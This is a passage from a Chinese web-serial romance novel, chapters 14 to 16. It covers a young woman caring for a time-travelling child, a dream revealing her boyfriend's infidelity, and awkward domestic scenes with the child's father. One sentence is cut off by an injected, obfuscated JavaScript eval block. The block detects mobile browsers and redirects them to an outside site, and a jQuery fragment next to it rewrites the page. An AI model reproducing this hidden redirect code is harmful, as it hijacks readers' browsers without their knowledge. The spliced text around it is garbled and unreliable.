可是看一下时间,已经快六点了,陆桉这个时候也要回来了,看来没办法再学了。 如果她主动问陆桉借笔记,以他的性格肯定不会拒绝,但两个人的关系本就复杂尴尬,除了陆阿蛋,还是尽量不要跟他牵扯上其他的关系。 身旁的陆阿蛋睡得小脸蛋通红,揉着眼睛,迷迷糊糊地蹭过来,“妈妈,我想吃饭饭了。” 年上熙摸了摸他的头,“你想吃什么?” “喝鸡汤。” “鸡汤?” 年上熙不会做饭,掏出手机点外卖。手机却先一步亮了起来。 是陆桉发来的消息。 陆桉:【我这边出了点状况,可能要再晚一点回去,你能不能再照看阿蛋一会?】 年上熙:【大约几点?】 陆桉:【十点之后了。】 年上熙面上依旧是那副高冷模样,指尖敲下一个字:【好。】 消息发出去的瞬间,她唇角不受控制地往上一翘。 还有四个小时。 足够她把剩下的重点全都偷师完了。 完美! 陆桉:【阿蛋这个点应该饿了,厨房里我中午熬了鸡汤,电饭煲里有米饭。】 【你陪他一块吃点,阿蛋一个人不愿意吃饭。】 他临走前做了饭? 年上熙愣了愣,难以置信地转身走向厨房。 一推门,她整个人都怔住了。 砂锅里的菌菇鸡汤,还温温地冒着热气,浓郁的香气漫出来。电饭煲里的米饭蒸得软糯喷香。 餐桌上整整齐齐摆着两盘菜,打开盖子,是腊肠和牛肉冷片,都是放凉了也好吃的菜式。旁边还摆着洗干净的草莓和蓝莓。 这,这也太丰盛了吧! 阿蛋闻着香味就跑了过来,小短腿哒哒哒,“妈妈,鸡汤!我要喝鸡汤!” 年上熙回过神,给小家伙舀了一碗。 小家伙歪着脑袋,喝得津津有味,见年上熙只是站在一旁看着,立刻撅起小嘴,伸手拉住她的衣角,“妈妈也喝,我俩比赛赛。” 年上熙笑了笑,“蛋蛋喝,妈妈,不喜欢喝鸡汤。” 这话刚落,阿蛋立刻哼了一声,小手一抱,小脑袋扭到一边,气鼓鼓的。 “妈妈明明最爱喝了!我讨厌现在的妈妈,现在的妈妈是个爱说谎的坏妈妈。” 年上熙心口猛地一涩,像被什么轻轻撞了一下。 她没法怪孩子。 阿蛋太小,不懂什么穿越,什么十年前十年后。在他眼里,面前这个人就是他的妈妈。 他只是在委屈,为什么眼前的妈妈,变得陌生又别扭,连喜欢的东西都不肯承认了。 一阵细微的难过悄悄漫上来。 被自己的孩子说“讨厌”,比任何指责都让她难受。 她蹲下身,声音软了下来,“对不起,是妈妈不好。” 她拿起空碗,也给自己盛了一碗鸡汤。 鼻尖先撞上那股清鲜的香气,她轻轻抿了一口。 只是一口,鲜醇的滋味在舌尖化开,暖得人浑身一松。 她微微一怔。 是真的很好喝,好喝到她瞬间就明白,为什么那个“未来的自己”会这么喜欢。 阿蛋见她终于喝了,立刻多云转晴,小脸上绽开得意的笑。 “妈妈就是喜欢的!爸爸说了,妈妈还是小女生,爱说反话,我不会生气哒。” 年上熙握着汤碗的手微微一顿。 她在这一刻,突然意识到,好像她真的喜欢说反话。 喜欢,会先说不喜欢。 陆桉才见过她几次,她怎么知道的? 只是几秒,又反应过来,她真是傻了,怎么可能是现在的陆桉,是十年后的。 年上熙喝到第三碗鸡汤的时候,忍不住想,她未来跟陆桉结婚,不会是看上他的厨艺了吧。 这简直,简直太好喝了! 而且这些菜系都是地道的云南口味,她一个土生土长的北方人,竟一口就被惊艳到,还一个劲地往嘴里炫。 两人吃得肚子滚圆,一大一小同步坐在沙发上揉着肚子。 陆桉这时候消息发过来:【吃得好吗?】 年上熙:【喝了三大碗鸡汤。】 陆桉:【???】 年上熙这才反应过来,她发成她的了,果然人吃饱了脑子都懒了。 年上熙:【小,小,三小碗。】 【还有半小碗米饭。】 陆桉很久没回复,年上熙看着他一直消息正在输入。 年上熙小心翼翼地问:【是吃多了吗?】 陆桉的回复几乎是立刻弹了出来:【电视机下面有药箱,里面有健胃消食片。】 年上熙脸颊一热:【……对不起。】 陆桉:【偶尔一次没关系。】 隔了几秒,他又发来一句:【他跟我一起吃饭很挑食,他还是更喜欢妈妈。】 年上熙看着那行字,唇角微微上扬,又被恭维到。 她低头看了眼身旁瘫在沙发上,小肚子圆滚滚的阿蛋,小家伙眉眼都舒展开,开心地唱着儿歌。 “摇啊摇,摇到外婆桥,外婆夸我好宝宝……” 年上熙指尖悬在屏幕上,良久,轻轻打下几个字: 【鸡汤很好喝。】 【谢谢。】 昏暗的办公室里,陆桉完那两条消息,没有回复,只是把手机屏幕按灭,又亮起,反复几次,唇角微微勾起弧度。 建筑院的领导吴院,关上办公室的灯路过,奇怪地看了他一眼:“小陆?” 陆桉起身打招呼,“吴院。” “事情不是早就结束了,大家都走了,你怎么还坐着?” 陆桉刚要回话,吴院先率先说,“别在这了,走,我顺道送你回去,再顺便跟你聊聊这个项目。” 陆桉这下没办法拒绝了,麻利地收拾好东西跟出去。 吴院侧头看了看身旁的年轻人。 长相实在太出挑,眉眼清俊,气质又沉,往人群里一站,想不注意都难。 他还记得,陆桉刚进建筑院那天,整个院都悄悄沸腾了。 那时候,是他老友刘院亲自托的关系,说这孩子家境困难,但肯学、能吃苦,希望能给个实习机会,帮衬一把。 他当时没多想,只当是给老友一个面子,也顺便帮衬个家境普通的年轻人。 所以这段时间,他一直没让他参与项目的核心部分,顶多让他打打下手、跑跑腿。这次冬奥会项目投标,也只是让他旁听、做些边角辅助。 可谁能想到,就在下午,甲方抛出的那个刁钻难题,把他们整个项目组全都难住了。 一群经验丰富的设计师面面相觑,谁都拿不出稳妥有效的方案,会议室气氛冷到冰点。 然而在所有人束手无策的时候,他平静地站了出来。 条理清晰、逻辑锋利,从结构可行性、成本控制,到落地风险、后期优化,一层一层拆解干净。 没有一句废话,却句句戳中要害,直接把甲方说得心服口服,当场敲定合作。 力挽狂澜。 吴院看着眼前这个年轻得过分,好看地过分的实习生,眼底第一次露出了真正的赏识。 两人又聊了几句项目上的细节,说是探讨,实则是层层深入的专业拷问。 陆桉表达了自己的想法与见解,吴院只是淡淡点头,面上没露太多情绪。 车子一路开到小区门口,陆桉颔首示意,准备下车。 刚推开车门,吴院忽然叫住他。 “陆桉。” 陆桉回身,吴院车窗半降,“接下来的项目会,你跟着一起过来。” 陆桉愣了下,明白过来吴院的意思,微躬下腰,“谢谢,吴院。” 车子缓缓驶离,陆桉站在小区门口,抬眼望向自家亮着灯的楼层。 窗内的灯光落在他眼底,他唇角几不可查地向上弯了一下。 可他没有立刻迈步回家,只是安静立在原地,望着那盏灯站了许久。 片刻后,他收回目光,转身走向了一旁亮着灯的24小时便利店。 推门而入,冷风被隔绝在外。 他找了个位置坐下,买了泡面火腿肠,吃完后打开电脑开始复习专业课。 - 九点左右,年上熙偷师完成,陆桉还没回来。她做贼心虚地把书房整理干净,假装什么都没碰过。 陆阿蛋卧室里,年上熙声情并茂地讲着故事哄他睡觉。 陆阿蛋精神得很,眼睛瞪得大大的,小脚丫在床上踢呀踢,年上熙熬得眼皮直打架,头都有点昏沉。 她突然觉得与陆桉一个人出钱一个人出力的分配 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17311225|198855||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上,她真的是赚了大便宜。 “你为什么还不睡?”年上熙声音都软塌塌的,困得快睁不开眼。 陆阿蛋嘟着小嘴,“爸爸怎么还不回来?我想跟他说晚安再睡。” “他今晚加班,我们不要打扰他,等你睡觉醒来就见到他了。” “可系我还系很想他。” 年上熙被缠得一点办法都没有,只能叹口气,拿起手机拨通陆桉的视频电话。 过了好一会儿,对面才匆匆接起。 陆桉的脸猛地贴在镜头前,占满了整个画面,连背景都被挡得严严实实,只露出一点模糊的灯光。 “怎么了?”他声音压得低。 年上熙被他的大脸惊了一下,幸好颜值撑着,不然这个大脸照真够暴击的。 “阿蛋想跟你说晚安。” 陆阿蛋立刻凑过来,奶声喊:“爸爸!” “乖,早点睡,爸爸很快回去。” 话音刚落,身后突然传来一句清晰的电子音,“欢迎光临——” 年上熙眼神瞬间一动。 陆桉面不改色,“有点饿,下来便利店买点吃的。” 年上熙点了点头,想跟他说早点回来,又觉得这句话像是她在等他一样,于是只应了声挂断电话。 晚安也说了,陆阿蛋找不到理由再熬鹰,只是乖乖闭上眼睛,年上熙见他呼吸平稳了,自己也累得合上眼,却恍然入了梦。 这次的梦境,依旧跌回了十年后。 演唱会结束后,年上熙刚换下演出服,额角还带着薄汗,脸上是卸下重担后的轻松笑意。 陆桉订了餐厅,大家一起热热闹闹庆祝。 陆桉抱着陆阿蛋,目光温柔地看着身边眉飞色舞说着什么的年上熙。 小助理忽然快步走过来,压低声音,“熙姐,外面有位先生说一定要见你一面,他说是……旧识。” 她顺着小助理示意的方向望过去。 走廊尽头,灯光半明半暗。 空气几不可察地静了一瞬。 年上熙脸色瞬间冷下来,继续往前走,陆桉顺着她的目光看了一眼,拉住她的手,温和地说,“我带阿蛋先去车上等你。” 江澈就站在那里,一身深色大衣,身形挺拔,却透着几分难以言说的疲惫。 他先开口,声音低沉,“恭喜你,梦想成真。” 年上熙望着他,冷声道:“托你的福,推迟了整整十年。” 江澈喉结滚动,轻声问:“你是不是还恨我?” 年上熙不语,江澈自嘲地扯了扯嘴角,笑意凉薄:“也对,你又从来没爱过我,怎么会恨我。” 年上熙毫不犹豫地揭穿他,“我们彼此彼此。” 可下一秒,江澈突然红了眼,几乎是吼出来:“我是爱过你的,很爱很爱你,我就差把心掏出来给你了!” 年上熙像是听见了天大的笑话,眼底翻涌着恨意与嘲讽。 “爱我,就毁了我?江澈,你冠冕堂皇的样子让我恶心。” 江澈脸色惨白,后退一步,语气里全是无力与挣扎。 “你知道我夹在中间很难做……如果你生日那天答应我的求婚,一切就都不会发生了。我妈就不会偏激,就不会逼我去接触别的女孩……” “出轨,你也算师出有名。”年上熙冷笑。 江澈声音发哑,拼命想给自己找一个合理的借口。 “我没有出轨,我和她什么都没有,那只是我妈安排的人,我只是……我只是应付。” 年上熙笑出声,“江澈,十年前跟我装,现在就不用装了。你分明是做了两手准备,那天我没答应你的求婚,你转头跟姜小婉进了酒店。” 他脸色一白,嘴唇哆嗦,“我没办法了!你逼我,我妈也在逼我,我在家里不受宠,我哥马上要从国外回来,我爸从来都偏向他,我只能跟你尽快结婚,才能让我爸高看我一眼,是你没有答应我的求婚……是你先不要我的。” 江澈满脸的不甘心,“何况你不也是转头就跟我的好兄弟在一起了?他可是我兄弟,我最好的朋友!” 年上熙只觉得荒谬又恶心,语气冷得像冰,“你别倒打一耙。当年我跟陆桉在一起,已经是分手三年后了。” 江澈死死盯着她,眼底翻涌着不甘与嫉妒,一字一顿,“年上熙,陆桉早就喜欢你了,十年前就喜欢你了!” 年上熙猛地一怔,脑子像是被重锤砸了一下,空白了一瞬。 江澈见年上熙压根不知道,苦笑出声,“陆桉这个道貌岸然的伪君子,撬我墙角,他到现在都没敢告诉你他对你的不择手段,是他骗了我,也骗了你,你是他骗去云南的……他都是装的!” 陆桉……十年前就喜欢她? 怎么可能。 她只当是江澈输不起、故意挑拨离间,心底涌上一阵彻骨的厌烦,嘴角勾起嘲讽的笑。 她抬眼,目光锐利而坦荡,字字掷地有声,“江澈,我告诉你,不论十年前陆桉到底喜不喜欢我,如果再回到十年前,我一定当时就跟他在一起!” 年上熙猛然惊醒,一身冷汗。 什么,什么? 江澈出轨! 陆桉暗恋她? 15. 第 15 章 跟江澈分手,是他出轨了? 她又又又被绿了? 她身上是不是真的有被绿的魔咒? 前后三次恋爱,前两次都是男方出轨,她被分手收场。可明明每次恋爱她都认真得不得了,送车送房,逢年过节各种浪漫礼物从不落下。 对方也都乖乖收下。 然后,出轨。 分手时理由出奇一致:“年上熙,你到底能不能像我爱你一样爱我?” 更邪门的是,每任男友追她时轰轰烈烈,到后来却都对她怨念颇深,搞得像她出轨了一样。 真是见了鬼了。 她预想过与江澈的分手,无非是两人工作性质特殊,一别几个月,异地久了感情淡了,最后和平收场,好聚好散。 没有到……他也出轨了! 梦中出轨的导火索,是她生日那天,没答应他的求婚。 真是可笑。 先不说她是不婚主义者,更何况,她现在大学都还没毕业,江澈甚至比她还小一岁,这就急着跟她求婚? 就算是板上钉钉的娃娃亲,也没听说大学没毕业就结婚的道理。 事出反常必有妖。 她可不信,江澈深爱她至此。 如果他爱的不是她的人,那能被他与母亲惦记的,就只有她身后的钱与权了。 她身后站着父母两边的年、顾两家,甚至还有继父继母两边的家族势力。这关系说起来复杂,父母虽然离婚,却没有老死不相往来。里面牵扯的权势利益盘根错节,根本无法彻底割舍。哪怕各自再婚,彼此的权势利益仍能互相借用、整合。 她从小就在这种环境里长大。父母离异,在父亲这边、母亲那边的新家里,她都是多余的那个。 但父母各自再婚前,两人将彼此制衡,所有财产都转到她的名下,所以她没有很多爱,但有很多钱。 而江家情况与她完全不一样。 江澈的父亲江军山,当初娶了初恋李芸,两人很快就有了一个儿子。可不幸的是,李芸难产去世,只留下了刚出生没几天的江原。 李家担心失去江家这棵大树的助力,更怕年幼的江原被后来的继母欺负,于是就推出了李芸的堂妹,也就是江澈的母亲李铃。 江军山深爱亡妻,为了江原同意了这门婚事,其中可能也有李铃眉眼间有几分像李芸的缘故。 李铃嫁给江军山后,直到将江原抚养到八岁,才被允许生下自己的孩子,也就是江澈。 江原一直被当做继承人培养,从小出国留学,算算日子,江原早就研究生毕业三年,也该回国继承家业。 不过,或许是亲姐妹的缘故,李铃对江原格外疼爱,甚至比对自己的亲生儿子江澈还要好,她在圈内有名的贤惠,是出了名的好继母。 这些都是圈内明面上的信息。 现在看来,真贤惠还是假贤惠,就只有她本人知道了。 年上熙是12月23日生日,北方小年,江澈这么着急跟她结婚,唯一一种可能是江原这次回国过春节后,直接继承江氏集团。 情况是真是假,一查便知。 至于江澈说陆桉十年前就喜欢她,她自诩美貌才华,美而自知,一般人对她的魅力难以抵抗情有可原。 可江澈转头又骂陆桉道貌岸然,心机鬼,撬他墙角,不择手段,这些话落在年上熙耳里,她半个字都不信。 先不提陆桉在学校里声名极佳、人缘极好,何况跟他这段时间的接触,尽管他不是什么正人君子,但也坦坦荡荡。 所以,这些一定都是江澈血口喷人,为了挑拨他们之间的关系。 十年后的江澈,竟然这么没品? 也是,出轨的人能有什么品? 年上熙愤愤然,怨念颇深,她暗自悲伤了一会儿,一翻身发现手里握着陆阿蛋穿越过来的老怀表。 陆桉说过,这怀表自打阿蛋带来,指针就一直是停的。她记得上次看时,时间停留在九点五十五分的位置。 可现在再低头一瞧,分针竟像是往前挪了一丝,堪堪停在九点五十六分的位置,恍惚得让她分不清是不是自己眼花。 就在这时,秒针忽然疯了似的飞快转了一圈,快得只剩一道虚影,几乎要被当成错觉。 紧接着,“啪嗒”一声轻响,分针扎扎实实往前跳了一格。 年上熙心里猛地一沉,瞬间坐直身子,把怀表紧紧凑到眼前,睁大眼睛仔细盯着。 指针……真的动了。 她不懂这到底意味着什么,可那绝不是钟表正常的走动。 一个念头不受控制地冒出来—— 难道……陆阿蛋能穿越过来,和这块怀表息息相关? 还有那些预知梦。 她原以为是偶然,可接二连三地出现,绝不可能是无缘无故。 仔细回想,每次做梦似乎都和陆阿蛋有关,确切地说,是和陆阿蛋带着这块表睡在身边有关。 上回指针微动时,她未曾在意,可这一次,变化却清晰得不容置疑。 莫非每次指针变动,都预示着一次未来预兆?等预兆结束,是不是也意味着陆阿蛋要彻底回到未来了? 年上熙胡思乱想着,犹豫要不要把这件事情告诉陆桉,让他一起分析自己的猜测是真是假。 可念头刚起,又被她按了下去。 说到底,这一切都还只是梦。 还是等她亲眼确认,梦里的事究竟会不会在现实中发生,再对他开口吧。 年上熙纠结地在床上蛄蛹,一扭头发现原本好好在他旁边睡觉的陆阿蛋,不见了! 年上熙愣了一秒,鞋子都没穿,跳下床,“阿蛋?陆阿蛋?” “妈妈,我在这里!” 年上熙迅速走去,此刻小家伙正蹲在阳台的土里,脸上、衣服上全是泥点,活像只刚从泥里滚过的小脏猫。 她太阳穴突突一跳,“你不是睡着了吗?怎么跑这儿来了,还搞得这么脏。” 可陆阿蛋仰着一张小花脸,理直气壮又软乎乎:“我把妈妈哄睡着了,就出来玩啦,妈妈睡得可香了。” 年上熙:“……” 年上熙一时无语,话到嘴边又咽了回去。 她目光往下一扫,瞬间愣住了。 一个不到两平方米的小阳台,却藏着一个微型世界。 水泥地面上铺着厚厚的泥土,草籽在松软的土壤里发了芽,然而在这个人造草坪上一座座形态各异的建筑拔地而起,有的是方正的小楼,有的是错落的院落,纸壳搭建的建筑上用彩笔涂满涂鸦。 陆阿蛋蹲在泥土边,小眉头微微蹙着,反复的调整这些建筑的位置,让他们错落有致的分布在草地与街巷之间。 头顶昏黄的灯光洒在他认真的侧脸上,他的小手在泥土与纸壳间穿梭,眼神里满是专注。 小家伙似乎没有受过训练,满是天马行空的想象力,可每一处布局、每一个小房子的模样,都透着一股浑然天成的灵气。 年上熙的想法也得到了陆阿蛋的证实。 “爸爸才没有教我呢。” 小家伙头也不抬,一边往“社区中心”插一面小旗子,一边得意地说,“爸爸说,让我自己玩,想怎么搭就怎么搭。” “那这些纸壳是哪里来的呀?” “爸爸带我去捡的!” 陆阿蛋终于抬起头,眼睛亮晶晶的,“我们去小区后面的废品站,挑了好大好大的纸箱,爸爸背回来的。还有这些泥土,是爸爸从公园挖的。” 年上熙点点头,目光落在这片小小的天地里。 阳台不大,小的可怜,被收拾得妥帖温馨。 她看得出陆桉对孩子的用心,尽他所能给最好的。 可她还是忍不住想,如果有一个天然的大花园供他搭建呢?如果有阳光房,有沙坑,有一整面墙可以画画的玻璃,有专门给孩子设计的木工桌和安全工具,陆阿蛋会不会玩得更尽兴? 她想起小时候的自己。 她从二岁起就有音乐启蒙,但当母亲发现她热爱音乐到废寝忘食,布置的作业都没完成后,把她的音乐房清空了。 那时候她最渴望有一间自己的音乐房。 此刻望着眼前专注搭建小世界的陆阿蛋,倘若这是他喜欢的,那她一定给他最好的条件,最大的托举。 都说每个妈妈都有妈妈滤镜,看自己的娃越看越好看,年上熙也是,陆阿蛋长得好看,可爱的小表情一套一套的,嘴甜抹蜜,认真玩耍的样子都萌化她一脸。 她突然好想带着崽崽去上综艺,让全世界认识可爱的陆阿蛋,好吧,这是属于一个老母亲的虚荣心了。 不过,这是永远无法实现的。只好掏出手机就是对着他咔咔一顿拍,陆阿蛋不畏惧镜头,反倒很习惯,甚至还臭屁搞怪。 他还洋洋得意,说他长得比爸爸帅,妈妈更喜欢拍他,家里到处都是他的照片,爸爸都没有。 为此他肯定妈妈比起爱爸爸更爱他。尽管爸爸不承认,但是相片全是证据。 “那你更爱爸爸,还是更爱妈妈呢?”年上熙发出灵魂拷问。 “我当然更爱妈妈了。”陆阿蛋脱口而出,又人小鬼大地趴到年上熙耳边,“妈妈,你心里偷着高兴,可千万别告诉爸爸。” 年上熙本来觉得自己略高一筹,后到后半句就品出味来了,“那你对陆桉是不是说喜欢更爸爸,让他心里偷着高兴,也不能告诉我?” 陆阿蛋眨了眨眼睛,小脸上闪过一丝被抓包的心虚,但很快又恢复了那副鬼灵精怪的模样。 他伸出肉乎乎的小手,轻轻拍了拍年上熙的脸,用一种哄小孩的语气说:“我当然更爱妈妈,妈妈要比爸爸更聪明。” 年上熙听出话外之音,又被他这副小大人的样子逗笑了,故意板着脸问:“所以,你这个小骗子!” “才不是呢,爸爸说我是端水大师。”陆阿蛋自己嘿嘿笑了,又说,“但爸爸说 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陆桉看见年上熙真一副吓到的表情,“对不起,不小心碰到了。” 陆桉好脾气地道歉,年上熙也没再发作,但又突然觉得不对,门铃明显按了好几下,怎么可能是不小心碰到。 他……分明是故意的。 兴许是怕他突然进来,她还在家怕她尴尬,直到看到微信,十分钟前陆桉的消息。 陆桉:【陆阿蛋睡了吗?我马上就回家了。】 年上熙盯着那行字,忽然明白了。 他在刻意地跟她保持距离。 话说回来,一个刻意跟你保持距离的男人,会暗恋你吗? 年上熙偷偷上网搜了下,答案竟然是:会。 网友:很多男人的保持距离,根本不是不喜欢,而是太喜欢,太在意,才不敢靠近。 网友:他不是冷淡,是怕唐突,怕你讨厌,越在乎一个人,越容易不敢表现的太主动。他克制,礼貌,有距离,本质就是我很喜欢你,但我不敢乱来。 年上熙不敢苟同,喜欢一个人不应该忍不住靠近,千方百计地想要得到对方? 管他是不是撬墙角有违道德,反正如果她,一定会又争又抢。话说这确实挺像江澈嘴中的陆桉,虽然手段不高明,但这才是真正的喜欢吧。 现在的陆桉,看见她就像老鼠看到了猫。 最近几次,她与陆阿蛋开视频,他从来没出镜也不出声,偶尔陆阿蛋镜头扫到他,他也是快速躲闪开。 这怎么可能是喜欢她呢? 而且她发现,陆桉隐隐抗拒把阿蛋送到她家。 在上周,他问她有没有空看一下阿蛋,他要回学校一趟,她没有不可。让他把小家伙送到家里。 想着陆阿蛋要来,她把房间里的玩具搬出来,又去厨房切了些水果。弄完去看手机,到了没,发现二十分钟之前陆桉又发信息:能不能麻烦你过来我家。 年上熙回复:【我车送去保养了。】 与此同时,陆桉的消息跳出来:【不用了,学校活动取消了。】 当时年上熙没察觉,现在她去查了学校官网,活动并没有取消,而是陆桉请假缺席了。 她想不明白,她又不是不照看阿蛋,他为什么宁愿请假缺席也没把孩子送过来。 今天也是,他用了时间来不及的理由,让她挑不出毛病,只能过来。 他不是多想让她过来,只是不想再去她家。 她忽然想起来差点被江澈抓包那次,他说他懂了。 原来是这样懂了。 年上熙承认上次险些被江澈撞破的惊魂未定,让她心里积了满肚子的烦躁,尽数都撒在了陆桉身上。 看现在陆桉刻意保持距离,她没有多少感动,只是觉得如果陆桉跟江澈不认识,不是兄弟,事情就不会这么复杂。 归根到底,是陆桉自己的错,偏偏还这么强的自尊心。 陆桉裹着一身寒气走进来,年上熙的目光就粘在他身上,像探照灯似的从上到下扫了一遍。 他今天穿了一件深灰色的羽绒服,领口沾着几点没化尽的雪沫,头发也被风吹得有些凌乱。 他低头换鞋时,玄关昏黄的灯光落在侧脸上,线条利落分明,下颌线绷得紧紧的。眉眼低垂,长长的睫毛在眼睑下投出一小片浅影。 年上熙看得格外认真。 从他进门起,他明明看似若无其事,视线却偷偷往她这边扫了好几回。 每次不小心撞上她的目光,又会飞快地挪开,甚至还故作镇定地问:“怎么了,我脸上有东西?” 年上熙本来已经转身要走,念头一转,忽然笑了。 “没有,就是突然觉得,你长得还挺好看的。” 她目光直直落在陆桉身上。 16. 第 16 章 年上熙本来已经转身要走,念头一转,忽然笑了:“没有,就是突然觉得,你长得还挺好看的。” 她目光直直落在陆桉身上。 下一秒,就见他脸颊“唰”地一下红了,从颧骨一直红到耳根,白皙的皮肤像是被烫过一般,连耳尖都染得通红,整个人都透着几分手足无措。 年上熙看着他这副模样,话锋轻轻一转,“不过,我还是更喜欢江澈那一款,尤其是他偏厚的嘴唇,一看就很好亲。” 陆桉下意识抿了抿自己的薄唇。刚才还泛红的脸色,几乎是瞬间就淡了下去,一层肉眼可见的冷淡覆了上来。 他一言不发,径直从她身边走过,进了客厅。 陆阿蛋立刻兴奋地扑上去抱住他的腿:“爸爸~” 陆桉却轻轻躲开,“等一会儿,爸爸身上凉。” 年上熙跟着走出来,看见他脸颊和指尖都冻得通红,随口问:“外面这么冷?” 陆桉语气平淡,听不出情绪:“嗯,下雪了。” 她下意识皱了皱眉,有点发愁一会儿开车回去的事。 陆桉看向还精神抖擞的陆阿蛋,“这么晚了,怎么还不睡?” 陆阿蛋心虚地躲开他的目光,一溜烟躲到了年上熙身后。 年上熙也有点不自在,小声解释:“下午睡了挺久午觉。” 陆桉没接她的话,只伸手揉了揉小家伙的脑袋,“阿蛋,到时间了,去睡觉。” 陆阿蛋浑身还沾着泥点,仰着小脸眼巴巴望着,“我要妈妈给我洗澡。” 陆桉语气直接,带着不容拒绝的强硬,“她要回去了,爸爸给你洗。” 年上熙故意慢悠悠开口,“我没说要回去,我还有事跟你谈。” 陆桉心里堵得发慌。 她前一秒还在调戏他,后一秒就转头夸自己的男朋友,他现在连多看一眼她那双亮晶晶、又带着点无辜狡黠的眼睛都觉得难受。 他不再多言,弯腰抱起陆阿蛋就往浴室走,只想先暂时逃离这个有她在的地方。 可怀里的小家伙却一点都不配合,在他怀里扭来扭去,不停闹腾。 “不要,我就要妈妈。” 陆阿蛋一把抱住年上熙的腿,嘴里还嘟囔着,“爸爸,你不能因为哄不成妈妈帮你洗澡,就不让她帮我洗。” 空气突然安静。 年上熙和陆桉对视一眼,同时愣住。 “……” 陆桉耳尖微红,眼疾手快地捂住儿子的小嘴,“别胡说。” “才没有胡说。” 陆阿蛋奋力挣开他的手,理直气壮地大声道,“妈妈洗澡的时候,爸爸总是闯进去,妈妈根本不愿意,每次都哭——” 年上熙脸腾地烧起来,一把捞起这个语出惊人的小东西,干笑着往浴室走,“走走走,我给你洗澡去!” 浴室门关上,总算隔绝了那道尴尬的视线。 浴缸里放满温水,小家伙脱掉衣服爬进去,刚才那副小霸王的样子倒是收起来了,乖乖坐着任由年上熙给他洗头发。 年上熙回想刚才陆桉的一举一动,脸红得猝不及防,白得也太过迅速。明明是他在刻意回避,话里话外都在暗示她该走,眼神躲躲闪闪,连靠近都不愿。 他对她,绝对有好感! 不过有好感又怎样? 又不关她的事,试探他不过是想确认江澈话中真假。 她又不喜欢他。 暗恋是一个人的兵荒马乱,那就让他一个人……把这场仗安安静静打完,不惊动她分毫。 年上熙就是这样的人,喜欢你,你在她这里就有特权。不喜欢,你多努力,多优秀,都不会激起她半分波澜。 陆阿蛋低头盯着水面,小眉头微微皱着,像是在思考什么人生大事,“妈妈,为什么蛋蛋的小鸟小小的?” 年上熙忽然回神,挤洗发露的手一顿。 小鸟?家里也没养鸟啊。 她随口应付道:“好好吃饭就长大了。” 陆阿蛋眼睛一亮,兴奋地拍起水花:“像爸爸一样大吗?爸爸的鸟可大了!” 年上熙一愣:“你爸也养鸟了?” 话音刚落,浴室门被推开一条缝。 陆桉的声音传来:“浴巾我放——” 话音戛然而止。 年上熙眼睁睁看着站在门口,陆桉那张逐渐涨红的脸。 她不明所以,视线再投向浴缸时。 陆阿蛋正坐在水里,手里捏着自己那个小小的……鸟。 年上熙的脸以肉眼可见的速度烧起来,从脸颊一路蔓延到耳根、脖子。 “……” 陆桉“砰”地一声把门关上。 门外传来他略显慌乱的脚步声。 年上熙低下头,把脸埋进掌心里。 她现在只想问一句:陆桉,你到底都教了孩子些什么啊! 年上熙又尴尬又窝火,明明是陆阿蛋童言无忌,她却偏偏把这账算在了陆桉头上,认定是他把孩子教得口无遮拦。 等给陆阿蛋洗完澡、讲完故事哄睡,年上熙沉着脸从卧室出来。见客厅空无一人,她刚松了口气,陆桉恰好从厨房端着杯子走出来。 她吓了一跳,立刻皱起眉指责:“你走路怎么一点声音都没有?” 陆桉一脸无辜,先前的怨气早被冷水澡冲得干干净净,语气温和:“煮了点苹果热橙茶,你尝尝。” 年上熙这才注意到,他也刚洗过澡,一身宽松的家居服,清清爽爽,看上去竟像个青涩干净的男大学生。 她下意识上下打量他,目光却不受控制地往下移了移。 陆阿蛋那句天真又直白的话,猛地在脑海里炸开。 爸爸的鸟可大了! 年上熙瞬间尴尬到脚趾蜷缩,耳尖“唰”地红透,慌忙掐断那些乱七八糟的念头,几乎是落荒而逃。 “没别的事,我先走了。” 她声音冷硬,看都不看那杯茶,脚步加快了几分。 陆桉却在身后叫住她:“等一下。” 年上熙不耐烦地顿住:“干什么?” 他温声提醒:“你刚才不是说,有事要跟我谈吗?” 年上熙一时语塞。 她确实有事要谈,只得不情不愿地折了回来。 年上熙在沙发上坐下,刻意离他一米远。 陆桉把那杯苹果热橙茶推到她面前,自己也端了一杯,在她对面的单人沙发落座,姿态松弛,长腿交叠,等着她开口。 年上熙盯着那杯茶,橙色的果肉在玻璃杯里浮浮沉沉,热气袅袅上升,带着水果的甜香。 “那个……” 她清了清嗓子,试图让自己显得公事公办,“关于陆阿蛋的教育问题。” 陆桉挑了挑眉,“嗯?” 年上熙皱眉,努力让自己的质问显得严肃,但耳尖那点红还没完全褪下去,“你平时都教他些什么?他才四岁,怎么什么话都往外说?” 陆桉看起来很困惑,“他说什么了?” 年上熙噎住。 觉得他是故意的。 她总不能复述那句话。 “反正就是……”她含糊其辞,“不太合适的话。” 陆桉想了想,忽然笑了。 他笑起来的时候眼睛会弯成好看的弧度,年上熙别开眼,盯着茶几上的一盒抽纸。 “你说的是……” 年上熙猛地抬头,打断他,“别说出来!” 吼完脸颊更红了,陆桉笑了笑,倒是坦然。 “他之前也问过我,洗澡的时候看见,就问那是什么。我告诉他那是身体的一部分,就像眼睛鼻子耳朵一样,没什么特别的。他问为什么女孩没有,我说因为男生和女生的身体构造不一样。” 他说着,喝了口茶,“小孩子的好奇心很正常,越遮掩他们越觉得神秘,不如大大方方解释。” 年上熙张了张嘴,发现自己竟然无法反驳。 “他今天跟你说这个,可能是因为他刚刚接受了一个新知识,想跟你分享。小孩子没有成年人那些乱七八糟的想法,他们就是单纯的认知和表达。” 他的语气里没有任何指责,但年上熙莫名觉得自己被内涵了。 “我没有乱七八糟的想法!”她硬邦邦地说,但已经在炸毛了。 陆桉没接话,只是又笑了笑,那笑意浅浅的,却让年上熙更不自在了。 她端起茶杯抿了一口,苹果的清甜和橙子的微酸在舌尖化开,温度刚刚好。 “好喝吗?”陆桉问。 年上熙没答,说起了正事掩饰尴尬。 